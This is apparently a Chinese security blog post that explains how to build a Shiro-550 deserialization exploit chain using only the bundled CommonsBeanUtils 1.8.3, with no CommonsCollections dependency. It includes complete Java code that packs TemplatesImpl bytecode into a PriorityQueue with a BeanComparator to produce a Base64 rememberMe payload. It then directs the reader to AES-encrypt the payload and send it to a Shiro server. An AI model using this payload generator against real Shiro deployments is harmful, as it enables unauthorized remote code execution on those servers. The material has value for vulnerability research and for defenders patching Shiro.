在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
之前在Shiro反序列化中为了演示全部都手动添加了CommonsCollections
的依赖,其实Shiro中自带的依赖就可以构造一条完整的利用链。
# 问题出现
Shiro中自带了CommonsBeanUtils
的依赖,其版本为1.8.3
:
如果直接用上一篇文章中所介绍的利用链生成Remember Cookie
直接打是不会成功的,而是会出现serialVersionUID
的异常:
举例来说,同一个类的不同版本可能会存在成员变量和方法上的改变,而进行反序列化的时候就可能出现兼容性的问题。所以,Java反序列化的时候提供了一个检测serialVersionUID
的机制,如果两个UID不同,则会中断反序列化的过程,手动控制兼容性。这个UID可以是序列化的时候根据某种规则计算出来的,也可以是开发者手工赋值的。
因为上一篇文章中的CommonsBeanUtils
的版本为1.9.3
,而Shiro中的版本为1.8.3
,所以才会出现UID不一致的情况。解决这个问题的方法也很简单,就是把我们本地的版本也改为1.8.3
即可。
再使用1.8.3版本生成的payload,会出现另外一个问题:
BeanComparator
这个类本身依赖于commons.collections
包下的一个类:
在反序列化的时候进行resolveClass
(把字节流中对应的字节还原成相应的java.lang.Class
对象)的时候,由于Shiro中没有对应的依赖,所以会出现上面的异常。
# 无CommonsCollections利用链
在BeanComparator
的构造方法中,如果不传递comparator
参数,则会默认为org.apache.commons.collections.comparators.ComparableComparator
的实例:
所以才会在resolveClass
的时候出现异常,所以我们可以尝试在BeanComparator
的构造方法中传递一个comparator
,让其不为默认的ComparableComparator
。
那么根据反序列化的原则,这个comparator
要满足下面的条件:
- 实现了
Serializable
接口
再根据Shiro中的问题,它还要满足:
- 实现了
Comparator
接口 - Java、Shiro或者
commons-beanutils
自带 - 兼容性强
而我们要找的目标就是CaseInsensitiveComparator
这个类,它位于java.lang
包下,是java.lang.String
中的一个内部私有类,而且实现了上述的两个接口,且有极强的兼容性:
通过String.CASE_INSENSITIVE_ORDER
可以获取到上下文中的CaseInsensitiveComparator
实例,然后用它实例化BeanComparator
对象,这样就可以在反序列中不依赖于org.apache.commons.collections.comparators.ComparableComparator
类。
生成payload,完整代码可见JavaDesPOC/CommonsBeanUtilsBak.java at master · F4ded/JavaDesPOC (github.com) (opens new window):
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import java.util.PriorityQueue;
/**
* 无 CommonsCollections 依赖的 CommonsBeanUtils 利用链
* Shiro-550 反序列化中可用
*/
public class CommonsBeanUtilsBak {
public static void main(String[] args) throws Exception {
byte[] bytes = MyUtils.getSimpleByteCodes();
TemplatesImpl templates = new TemplatesImpl();
MyUtils.setFieldValue(templates, "_name", "F4DE");
MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// Version:1.8.3
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, comparator);
// Add String element : ClassCastException[java.lang.Integer cannot be cast to java.lang.String]
priorityQueue.add("1");
priorityQueue.add("2");
MyUtils.setFieldValue(comparator, "property", "outputProperties");
MyUtils.setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
// MyUtils.deserialize(MyUtils.serialize(priorityQueue));
System.out.println(Base64.encodeToString(MyUtils.serialize(priorityQueue)));
}
}
然后进行AES加密,生成Cookie,发送给Shiro:
- 01
- CommonsBeanUtils04-19
- 02
- 基于Tomcat全局存储进行回显04-16